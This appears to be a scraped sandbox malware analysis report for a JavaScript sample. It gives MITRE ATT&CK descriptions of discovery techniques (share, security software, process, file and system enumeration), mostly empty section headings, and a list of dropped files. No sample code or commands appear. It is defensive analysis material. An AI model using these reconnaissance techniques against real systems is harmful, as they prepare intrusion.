Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 281511335289626058.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cee753a6-419f-4098-84d5-df8dc2c7fbe6.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.688

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
281511335289626058.js